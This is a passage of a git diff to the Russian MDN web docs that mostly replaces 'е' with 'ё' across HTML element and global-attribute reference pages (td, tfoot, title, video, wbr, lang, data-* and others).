            Этот атрибут содержит положительное целое число указывающее сколько столбцов необходимо объединить. По умолчанию значение равно 1. Значения больше 1000 будет считаться некорректным и будет использовать значение по умолчанию (1).
            {{htmlattrdef("headers")}}
            -
            Этот атрибут содержит список срок разделенных пробелами, каждая соответствует id атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.
            +
            Этот атрибут содержит список срок разделённых пробелами, каждая соответствует id атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.
            {{htmlattrdef("rowspan")}}
            Этот атрибут содержит положительное целое число указывающее какое количество строк  необходимо объединить. По умолчанию значение равно1; Если его значение 0, тогда его действие распространяется до конца табличной секции ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, даже если неявно определено чему ячейка принадлежит. Значения выше 65534 сокращаются до 65534.
            {{htmlattrdef("scope")}} {{obsolete_inline("html5")}}
            diff --git a/files/ru/web/html/element/template/index.html b/files/ru/web/html/element/template/index.html index 1f8131817d..10b94c2864 100644 --- a/files/ru/web/html/element/template/index.html +++ b/files/ru/web/html/element/template/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/template - + @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/template - + diff --git a/files/ru/web/html/element/tfoot/index.html b/files/ru/web/html/element/tfoot/index.html index c23f18e84c..f13b52ba26 100644 --- a/files/ru/web/html/element/tfoot/index.html +++ b/files/ru/web/html/element/tfoot/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/tfoot - + @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/tfoot
          • center, выравнивание содержимого по центру ячейки
          • right, выравнивание содержимого по правому краю ячейки
          • justify, выравнивание по ширине ячейки: добавление пробелов к тексту содержимого ячейки до тех пор, пока содержимое не выровняется от одного края ячейки до другого
          • -
          • char, выравнивание текстового содержимого по специальному символу с минимальным смещением, определенным {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.
          • +
          • char, выравнивание текстового содержимого по специальному символу с минимальным смещением, определённым {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.
          • Если этот атрибут не задан, то значением по умолчанию является left.

            @@ -66,7 +66,7 @@ translation_of: Web/HTML/Element/tfoot
            {{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}
            -
            Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определенного в sRGB, предваряется '#'. Может быть использован один из шестнадцати предопределенных строк: +
            Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определённого в sRGB, предваряется '#'. Может быть использован один из шестнадцати предопределённых строк:
            {{no_tag_omission}}
            Разрешенные родителиРазрешённые родители Any element that accepts metadata content, phrasing content, or script-supporting elements. Also allowed as a child of a {{HTMLElement("colgroup")}} element that does not have a {{htmlattrxref("span", "colgroup")}} attribute.
            Нет соответствующей роли
            Разрешенные роли ARIAРазрешённые роли ARIA Отсутствует
            The start tag is mandatory. The end tag may be omitted if the {{ HTMLElement("tbody") }} element is immediately followed by an, eventually implicitly-defined, {{ HTMLElement("tbody") }}, or if there is no more content in the parent {{ HTMLElement("table") }} element.
            Разрешенные родительские элементыРазрешённые родительские элементы  A {{ HTMLElement("table") }} element. The {{ HTMLElement("tfoot") }} must appear after any {{ HTMLElement("caption") }}, {{ HTMLElement("colgroup") }} or {{ HTMLElement("thead") }} element. It can be before or after all {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} elements, but not intermixed with them.
            {{ HTMLVersionInline("4") }} The {{ HTMLElement("tfoot") }} element cannot be placed after any {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} element. This restriction has been softened in HTML5.
            @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/tfoot
            {{ htmlattrdef("valign") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}
            -
            Этот атрибут задает вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута: +
            Этот атрибут задаёт вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута:
            • baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
            • bottom, which will put the text as close to the bottom of the cell as it is possible;
            • diff --git a/files/ru/web/html/element/title/index.html b/files/ru/web/html/element/title/index.html index 32c1165044..545f074d97 100644 --- a/files/ru/web/html/element/title/index.html +++ b/files/ru/web/html/element/title/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/title
            - + @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/title - + - + @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/title

            Заголовок страницы и SEO

            -

            Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приемом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.

            +

            Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приёмом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.

            Несколько методических рекомендаций и советов для составления хороших заголовков:

            @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/title

            Важно указать такое значение title, которое описывает назначение страницы.

            -

            Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения ее содержимого может занять время и, возможно, привести к путанице.

            +

            Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения её содержимого может занять время и, возможно, привести к путанице.

            Пример

            diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html index d9d7f801d6..f7d61a50c9 100644 --- a/files/ru/web/html/element/track/index.html +++ b/files/ru/web/html/element/track/index.html @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/track
          • subtitles
            • Субтитры обеспечивают перевод контента, который не может быть понят зрителем. Например, диалог или текст, который не является английским, в фильме на английском языке.
            • -
            • Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звездных войн» или дата, время и место действия сцены.
            • +
            • Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звёздных войн» или дата, время и место действия сцены.
          • captions @@ -109,7 +109,7 @@ translation_of: Web/HTML/Element/track

            Типы данных дорожки

            -

            Тип данных, которые трек добавляет на носитель, задается в атрибуте kind, который может принимать значения subtitles, captions, descriptions, chapters или metadata. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.

            +

            Тип данных, которые трек добавляет на носитель, задаётся в атрибуте kind, который может принимать значения subtitles, captions, descriptions, chapters или metadata. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.

            Отдельный media элемент не может иметь элементы track с одинаковыми значениями kind, srclang и label.

            diff --git a/files/ru/web/html/element/u/index.html b/files/ru/web/html/element/u/index.html index a5df007d21..5c37e3ed2f 100644 --- a/files/ru/web/html/element/u/index.html +++ b/files/ru/web/html/element/u/index.html @@ -1,5 +1,5 @@ --- -title: ': Элемент слабой аннотации (подчеркивание)' +title: ': Элемент слабой аннотации (подчёркивание)' slug: Web/HTML/Element/u translation_of: Web/HTML/Element/u --- diff --git a/files/ru/web/html/element/video/index.html b/files/ru/web/html/element/video/index.html index ba4dfabd2f..9fb3ff9fb7 100644 --- a/files/ru/web/html/element/video/index.html +++ b/files/ru/web/html/element/video/index.html @@ -43,10 +43,10 @@ translation_of: Web/HTML/Element/video
            {{htmlattrdef("autoplay")}}
            -
            Логический атрибут; если указан, то видео начнет воспроизводится автоматически, как только это будет возможно сделать без остановки, чтобы закончить загрузку данных.
            +
            Логический атрибут; если указан, то видео начнёт воспроизводится автоматически, как только это будет возможно сделать без остановки, чтобы закончить загрузку данных.
            {{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}
            -
            Логический атрибут; если указано, видео автоматически начнет буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. -
            Примечание: несмотря на то, что в ранних версиях HTML5 атрибут autobuffer присутствовал, в последующих выпусках он был удален. Также он был удален из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут preload, вместо autobuffer с другим синтаксисом. {{bug(548523)}}
            +
            Логический атрибут; если указано, видео автоматически начнёт буферизацию, даже если оно не настроено на автоматический запуск. Используйте этот атрибут только тогда, когда очень вероятно, что пользователь будет смотреть видео. Видео буферизуется до тех пор, пока не заполнится кэш мультимедиа. +
            Примечание: несмотря на то, что в ранних версиях HTML5 атрибут autobuffer присутствовал, в последующих выпусках он был удалён. Также он был удалён из Gecko 2.0 и других браузеров, а в некоторых никогда не реализовывался. Спецификация определяет новый перечислимый атрибут preload, вместо autobuffer с другим синтаксисом. {{bug(548523)}}
            {{htmlattrdef("buffered")}}
            Атрибут для определения временных диапазонов буферизованных носителей. Этот атрибут содержит объект {{domxref("TimeRanges")}}.
            @@ -64,13 +64,13 @@ translation_of: Web/HTML/Element/video
            {{htmlattrdef("height")}}
            Высота области отображения видео в пикселях.
            {{htmlattrdef("loop")}}
            -
            Логический атрибут; если указан, то по окончанию проигрывания, видео автоматически начнет воспроизведение с начала.
            +
            Логический атрибут; если указан, то по окончанию проигрывания, видео автоматически начнёт воспроизведение с начала.
            {{htmlattrdef("muted")}}
            Логический атрибут, который определяет значение по умолчания для аудио дорожки, содержащуюся в видео. Если атрибут указан, то аудио дорожка воспроизводиться не будет. Значение атрибута по умолчанию - "ложь", и это означает, что звук будет воспроизводиться, когда видео воспроизводится.
            {{htmlattrdef("played")}}
            Атрибут {{domxref("TimeRanges")}}, указывающий все диапазоны воспроизводимого видео.
            {{htmlattrdef("preload")}}
            -
            Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведет к лучшему пользовательскому опыту. Он может иметь одно из следующих значений: +
            Этот перечислимый атрибут предназначен для того, чтобы дать подсказку браузеру о том, что, по мнению автора, приведёт к лучшему пользовательскому опыту. Он может иметь одно из следующих значений:
            • none: указывает, что видео не должно быть предварительно загружено.
            • metadata: указывает, что предварительно загружаются метаданные видео (например, длина).
            • @@ -89,7 +89,7 @@ translation_of: Web/HTML/Element/video
            {{htmlattrdef("poster")}}
            -
            URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмет на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.
            +
            URL-адрес, указывающий на постера, которое будет использовано, пока загружается видео или пока пользователь не нажмёт на кнопку воспроизведения. Если этот атрибут не указан, ничего не отображается до тех пор, пока не будет доступен первый кадр; то первый кадр отображается как рамка постера.
            {{htmlattrdef("src")}}
            The URL of the video to embed. This is optional; you may instead use the {{HTMLElement("source")}} element within the video block to specify the video to embed.
            {{htmlattrdef("width")}}
            diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html index 85e6e5c732..353b10ecdd 100644 --- a/files/ru/web/html/element/wbr/index.html +++ b/files/ru/web/html/element/wbr/index.html @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/wbr
          • - + @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/wbr - + - + @@ -46,11 +46,11 @@ translation_of: Web/HTML/Element/wbr

            Заметки

            -

            На страницах в кодировке UTF-8, элемент <wbr> ведет себя как кодовое значение U+200B ZERO-WIDTH SPACE (пробел нулевой ширины). В частности, он ведет себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <div dir=rtl>123,<wbr>456</div>: отображается, если выражение не разбито на две строки, 123 456 и не 456,123.

            +

            На страницах в кодировке UTF-8, элемент <wbr> ведёт себя как кодовое значение U+200B ZERO-WIDTH SPACE (пробел нулевой ширины). В частности, он ведёт себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <div dir=rtl>123,<wbr>456</div>: отображается, если выражение не разбито на две строки, 123 456 и не 456,123.

            По той же причине, элемент <wbr> не вводит дефис в точке разрыва строки. Чтобы дефис отображался только в конце строки, используйте вместо него символ «мягкого дефиса» (&shy;).

            -

            Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определен в HTML5.

            +

            Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определён в HTML5.

            Пример

            diff --git a/files/ru/web/html/global_attributes/accesskey/index.html b/files/ru/web/html/global_attributes/accesskey/index.html index 3f1ef4a77e..9d5e443f85 100644 --- a/files/ru/web/html/global_attributes/accesskey/index.html +++ b/files/ru/web/html/global_attributes/accesskey/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Global_attributes/accesskey ---
            {{HTMLSidebar("Global_attributes")}}
            -

            Глобальный атрибут accesskey дает возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).

            +

            Глобальный атрибут accesskey даёт возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).

            {{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}
            diff --git a/files/ru/web/html/global_attributes/class/index.html b/files/ru/web/html/global_attributes/class/index.html index 08824dc4c9..06d41bd334 100644 --- a/files/ru/web/html/global_attributes/class/index.html +++ b/files/ru/web/html/global_attributes/class/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/class ---
            {{HTMLSidebar("Global_attributes")}}
            -

            Глобальный атрибут class это разделенный пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью селекторов класса или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.

            +

            Глобальный атрибут class это разделённый пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью селекторов класса или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.

            {{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}
            diff --git a/files/ru/web/html/global_attributes/contenteditable/index.html b/files/ru/web/html/global_attributes/contenteditable/index.html index 638ea9c94a..a374c5d132 100644 --- a/files/ru/web/html/global_attributes/contenteditable/index.html +++ b/files/ru/web/html/global_attributes/contenteditable/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTML/Global_attributes/contenteditable

            Если атрибут не указан, то его значение наследуется от своего родительского элемента.

            -

            Этот атрибут принимает одно из определенных значений и не является булевским. Это значит, что точное использование одного из значений true, false или пустая строка обязательно и такое сокращение, как <label contenteditable>Пример метки</label> неразрешено. Верное использование — <label contenteditable="true">Пример метки</label>

            +

            Этот атрибут принимает одно из определённых значений и не является булевским. Это значит, что точное использование одного из значений true, false или пустая строка обязательно и такое сокращение, как <label contenteditable>Пример метки</label> неразрешено. Верное использование — <label contenteditable="true">Пример метки</label>

            Вы можете установить цвет, используемый для вставки текста {{Glossary("caret")}}
            со свойством CSS {{cssxref("caret-color")}}.  

            diff --git a/files/ru/web/html/global_attributes/data-_star_/index.html b/files/ru/web/html/global_attributes/data-_star_/index.html index df80ab58ae..3cbc4c9a60 100644 --- a/files/ru/web/html/global_attributes/data-_star_/index.html +++ b/files/ru/web/html/global_attributes/data-_star_/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Global_attributes/data-*

            Все такие пользовательские данные доступны через интерфейс {{domxref ("HTMLElement")}} элемента, для которого установлен атрибут. Свойство {{domxref ("HTMLElement.dataset")}} предоставляет к ним доступ.
            - Символ * может быть заменен любым именем, соответствующим производственному правилу имен xml, со следующими ограничениями:

            + Символ * может быть заменён любым именем, соответствующим производственному правилу имён xml, со следующими ограничениями:

            • имя не должно начинаться с xml, в любом случае для этих букв используется регистр;
            • diff --git a/files/ru/web/html/global_attributes/id/index.html b/files/ru/web/html/global_attributes/id/index.html index 11ec8acfa3..989ac64818 100644 --- a/files/ru/web/html/global_attributes/id/index.html +++ b/files/ru/web/html/global_attributes/id/index.html @@ -35,7 +35,7 @@ translation_of: Web/HTML/Global_attributes/id
            - + diff --git a/files/ru/web/html/global_attributes/index.html b/files/ru/web/html/global_attributes/index.html index 39e0fe294b..c662d66d36 100644 --- a/files/ru/web/html/global_attributes/index.html +++ b/files/ru/web/html/global_attributes/index.html @@ -23,9 +23,9 @@ translation_of: Web/HTML/Global_attributes
            accesskey
            -
            Дает подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделенных пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.
            +
            Даёт подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделённых пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.
            class
            -
            Это список разделенных пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через селекторы по классу или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.
            +
            Это список разделённых пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через селекторы по классу или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.
            contenteditable
            Это перечислимый атрибут, указывающий, нужно ли предоставить пользователю возможность редактировать элемент. Если это так, браузер изменит свой виджет таким образом, чтобы позволить редактирование. Атрибут должен принимать одно из следующих значений:
              @@ -42,7 +42,7 @@ translation_of: Web/HTML/Global_attributes
              • ltr, что расшифровывается как left to right (слева направо), и предназначено для языков, в которых пишут слева направо (как в русском);
              • rtl, что расшифровывается как right to left (справа налево), и предназначено для языков, в которых пишут справа налево (как в арабском);
              • -
              • auto — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдет символ со строгим направлением, а затем применяет это направление ко всему элементу.
              • +
              • auto — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдёт символ со строгим направлением, а затем применяет это направление ко всему элементу.
            draggable {{experimental_inline}}
            @@ -56,12 +56,12 @@ translation_of: Web/HTML/Global_attributes
            Это перечислимый атрибут, указывающий типы содержимого, которое можно перетащить в элемент с помощью Drag and Drop API. Он может принимать одно из следующих значений:
            • copy, указывающее, что перетаскивание создаст копию перетаскиваемого элемента;
            • -
            • move, указывающее, что перетаскиваемый элемент будет перемещен в новое расположение;
            • +
            • move, указывающее, что перетаскиваемый элемент будет перемещён в новое расположение;
            • link — создаст ссылку на перетаскиваемые данные.
            hidden
            -
            Это логический атрибут, указывающий, что элемент уже (или еще) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.
            +
            Это логический атрибут, указывающий, что элемент уже (или ещё) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.
            id
            Определяет идентификатор (ID), который должен быть уникален для всего документа. Он предназначен для идентификации элемента при создании ссылок на него, исполнении скриптов или применении стилей (посредством CSS).
            itemid {{experimental_inline}}
            @@ -71,7 +71,7 @@ translation_of: Web/HTML/Global_attributes
            itemtype {{experimental_inline}}
            Эти атрибуты относятся к определению микроданных.
            lang
            -
            Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определенном в документе IETF BCP47. xml:lang имеет приоритет над ним.
            +
            Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определённом в документе IETF BCP47. xml:lang имеет приоритет над ним.
            spellcheck {{experimental_inline}}
            Это перечислимый атрибут, определяющий, может ли содержимое элемента быть проверено на наличие орфографических ошибок. Он может принимать одно из следующих значений:
              @@ -94,7 +94,7 @@ translation_of: Web/HTML/Global_attributes
              translate
              Это перечислимый атрибут, используемый для того, чтобы указать, следует ли переводить значения атрибутов элемента и его текстовое содержимое (содержимое узла {{domxref("Text")}}) при локализации страницы. Этот атрибут может принимать следующие значения:
                -
              • пустая строка или "yes" указывает, что элемент должен быть переведен;
              • +
              • пустая строка или "yes" указывает, что элемент должен быть переведён;
              • "no" указывает, что элемент не должен быть переведен.
              diff --git a/files/ru/web/html/global_attributes/inputmode/index.html b/files/ru/web/html/global_attributes/inputmode/index.html index 14b98a01bc..8f6bd811ec 100644 --- a/files/ru/web/html/global_attributes/inputmode/index.html +++ b/files/ru/web/html/global_attributes/inputmode/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Global_attributes/inputmode
              numeric
              Числовая раскладка клавиатуры; числа от 0 до 9. Устройства могут показывать или нет символ минуса (отрицательное значение).
              tel
              -
              Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решетку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <input type="tel">.
              +
              Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решётку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <input type="tel">.
              search
              Виртуальная клавиатура, оптимизированная для работы с поиском. Например, кнопка ввода может быть заменена на "Поиск", и др.
              email
              diff --git a/files/ru/web/html/global_attributes/is/index.html b/files/ru/web/html/global_attributes/is/index.html index a80c1772d1..c62892e64c 100644 --- a/files/ru/web/html/global_attributes/is/index.html +++ b/files/ru/web/html/global_attributes/is/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/is ---
              {{HTMLSidebar("Global_attributes")}}
              -

              Глобальный атрибут  is позволяет указать, что стандартный HTML-элемент должен вести себя как определенный пользовательский встроенный элемент (см Using custom elements для информации).

              +

              Глобальный атрибут  is позволяет указать, что стандартный HTML-элемент должен вести себя как определённый пользовательский встроенный элемент (см Using custom elements для информации).

              Этот атрибут может быть использован только, если указанное имя пользовательского элемента было успешно определено в текущем документе и расширяет тип элемента, к которому оно применяется.

              diff --git a/files/ru/web/html/global_attributes/lang/index.html b/files/ru/web/html/global_attributes/lang/index.html index 2ccedf5e04..13a25e31f6 100644 --- a/files/ru/web/html/global_attributes/lang/index.html +++ b/files/ru/web/html/global_attributes/lang/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTML/Global_attributes/lang ---
              {{HTMLSidebar("Global_attributes")}}
              -

              Глобальный атрибут lang помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (language tag) в формате, определенном в Tags for Identifying Languages (BCP47).

              +

              Глобальный атрибут lang помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (language tag) в формате, определённом в Tags for Identifying Languages (BCP47).

              {{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}
              @@ -20,15 +20,15 @@ translation_of: Web/HTML/Global_attributes/lang

              Подробный синтаксис BCP47 достаточно подробен, чтобы отмечать специфичные языковые диалекты, но в большинстве случаев его использование намного проще. 

              -

              Языковой тег состоит из языковых вложенных тегов, разделенных дефисом, где каждый вложенный тег указывает на определенное свойство языка. 3 наиболее распространенных вложенных тега:

              +

              Языковой тег состоит из языковых вложенных тегов, разделённых дефисом, где каждый вложенный тег указывает на определённое свойство языка. 3 наиболее распространённых вложенных тега:

              Языковой подтег
              -
              Обязателен. Двух-или-трех-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является en, а для Бадеши — bdz
              +
              Обязателен. Двух-или-трёх-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является en, а для Бадеши — bdz
              Подтег скрипта
              Необязателен. Данный подтег определяет систему записи, и всегда состоящий из 4 символов с первой заглавной буквой. К примеру,  французский язык Брайля — это fr-Brai, а ja-Kana — это японский язык, написанный с использованием алфавита Катакана (Katakana). Если язык написан типичным способом, например, английский с латинским алфавитом, нет необходимости использовать данный подтег.
              Подтег региона
              -
              Необязателен. Данный подтег определяет диалект основного языка из определенного места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трех цифр, соответствующих региону, который не относится к стране. К примеру, es-ES — это испанский язык, на котором разговаривают в Испании, а es-013 означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто es.
              +
              Необязателен. Данный подтег определяет диалект основного языка из определённого места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трёх цифр, соответствующих региону, который не относится к стране. К примеру, es-ES — это испанский язык, на котором разговаривают в Испании, а es-013 означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто es.

              Подтег скрипта предшествует подтегу региона, если присутствуют оба тега — ru-Cyrl-BY — это русский язык, написанный кириллицей, на котором разговаривают в Беларуси. 

              diff --git a/files/ru/web/html/index.html b/files/ru/web/html/index.html index 6c7cd93452..c5e2c55066 100644 --- a/files/ru/web/html/index.html +++ b/files/ru/web/html/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML

              HTML использует разметку ("markup") для отображения текста, изображений и другого контента в веб-браузере. HTML-разметка включает в себя специальные "элементы", такие как {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} и многие другие.

              -

              HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окруженного "<" и ">". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <title> может быть записан как <Title>, <TITLE>, или любым другим способом.

              +

              HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окружённого "<" и ">". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <title> может быть записан как <Title>, <TITLE>, или любым другим способом.

              Статьи, представленные ниже, могут помочь вам больше узнать о HTML.

              @@ -35,7 +35,7 @@ translation_of: Web/HTML

              Статьи о том, как использовать HTML, а также обучающие материалы и исчерпывающие примеры можно найти в разделе "Пространство изучения HTML".

            • Справка по HTML -

              В нашем обширном разделе "Справка по HTML" вы найдете подробности о каждом элементе и атрибуте в HTML.

              +

              В нашем обширном разделе "Справка по HTML" вы найдёте подробности о каждом элементе и атрибуте в HTML.

            @@ -54,21 +54,21 @@ translation_of: Web/HTML
            Представление табличных данных на веб-странице в понятной, доступной форме может быть проблемой. Этот модуль охватывает базовую разметку таблиц, а также более сложные особенности, такие как добавление заголовков и описаний.
            HTML-формы
            Формы являются очень важной частью Веба — они предоставляют большую часть функционала, необходимого для взаимодействия с веб-сайтами, например регистрация и вход в систему, отправка отзывов, покупка товаров, и многое другое. Этот модуль познакомит вас с созданием клиентских (client-side/front-end) частей форм.
            -
            Используйте HTML для решения распространенных задач.
            -
            Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространенных задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.
            +
            Используйте HTML для решения распространённых задач.
            +
            Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространённых задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.

            Продвинутые темы

            -
            CORS: включенные изображения
            -
            Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определенные элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.
            +
            CORS: включённые изображения
            +
            Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определённые элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.
            CORS: Настройки атрибутов
            Некоторые HTML-элементы, предоставляющие поддержку CORS, такие как {{HTMLElement("img")}} или {{HTMLElement("video")}}, имеют атрибут crossorigin (свойство crossOrigin), который позволяет вам настраивать CORS-запросы для получаемых элементом данных.
            Управление фокусом в HTML
